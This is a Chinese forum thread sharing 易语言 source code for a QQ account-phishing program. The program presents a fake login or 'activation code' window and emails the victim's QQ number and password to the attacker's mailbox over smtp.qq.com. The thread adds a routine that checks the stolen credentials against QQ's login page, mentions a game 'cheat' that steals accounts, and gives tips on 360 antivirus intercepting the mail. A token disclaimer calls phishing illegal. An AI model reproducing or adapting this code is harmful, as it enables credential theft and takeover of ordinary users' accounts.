也就是说,你需要制作1个网页。
用来数据传输
后台称之为服务器内部。
你自己假设的服务器。
如果是本地钓鱼,是发送邮件,或POST到指定网页
如果是网页钓鱼,是保存当前输入的账户密码到数据库(服务器上的)
这些都需要自己假设,
还有,钓鱼属于违法行为,研究就好,请不要传播。
有问题联系我177701772
嗯嗯,改的设置对着呢。
但是你貌似没有填端口号,TX的应该是25,因为我填的是25……能发出去
可以这么写:
连接发信服务器 (“smtp.qq.com”, 25, 用户名, 密码)
发送邮件 (“号来了!”, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)
但是,发送的时候360会拦截下来。这个你得注意下,其实你家机子要是固定IP的话,可以做个服务器。还有就是你这个验证根本不行,我账号填个1,密码填个1,那岂不就完事了,还能登上去,你又来一个垃圾。可以加个验证。
'------------------------验证源码
.版本 2
登录网页 = 网页源码编码转换 (温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
' 温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))
产生sid = 取文本之间内容 (登录网页, “sid=”, “&”)
登录返回文本 = 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)
.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录失败,可能系统繁忙,请稍后重试”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确,请重新输入”, , 假) > 0)
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) > 0)
延时 (500)
帐号错误反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 登录返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) > 0)
验证码图片地址 = 取文本之间内容 (登录返回文本, “<img src=” + #引号, #引号)
延时 (1000)
验证码反馈.调用反馈事件 (, , )
.如果 (全局验证码内容 = “”)
_启动窗口.可视 = 真
.否则
输入验证码返回文本 = 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)
.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) > 0)
登录成功网页 = 输入验证码返回文本
sid = 产生sid
延时 (1000)
主界面反馈.调用反馈事件 (, , )
.默认
延时 (1000)
密码错误反馈.调用反馈事件 (, , )
' -----------------接下来不是源码了
这里还要用到一个温暖HTTP应用模块,我给你传上来吧。
我自己写了个不带验证的奥拉星“外挂”,你可以看看,嘻嘻……(其实还是盗号的,只是不发送过来)
这是QQ帐号密码钓鱼的源码(易语言)
没有密保的
.版本
2
.支持库
internet
.支持库
spec
.程序集
窗口程序集1
.子程序
__启动窗口_创建完毕
_启动窗口.图标
=
#图片1
.子程序
_编辑框1_内容被改变
.子程序
_编辑框2_内容被改变
.子程序
_按钮1_被单击
.如果
(编辑框1.内容
=
“”
或
编辑框2.内容
=
“”)
信息框
(“请输入账号和密码!”,
0,
“”)
返回
()
.否则
.如果结束
连接发信服务器
(“
smtp.qq.com
”,
25,
“填写你的QQ号”,
“填写你的QQ密码”,
)
发送邮件
(“傻瓜送号来了”,
“傻瓜账号:”
+
编辑框1.内容
+
#换行符
+
“傻瓜密码:”
+
编辑框2.内容
+
#换行符,
“填写你的QQ邮箱号@qq.com”,
,
,
“填写你的QQ邮箱号@qq.com”,
)
信息框
(编辑框1.内容
+
“正在检测激活码是否正确,请稍后...”,
0,
)
延迟
(300)
信息框
(“激活码错误请重新输入!”,
0,
)
销毁
()
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)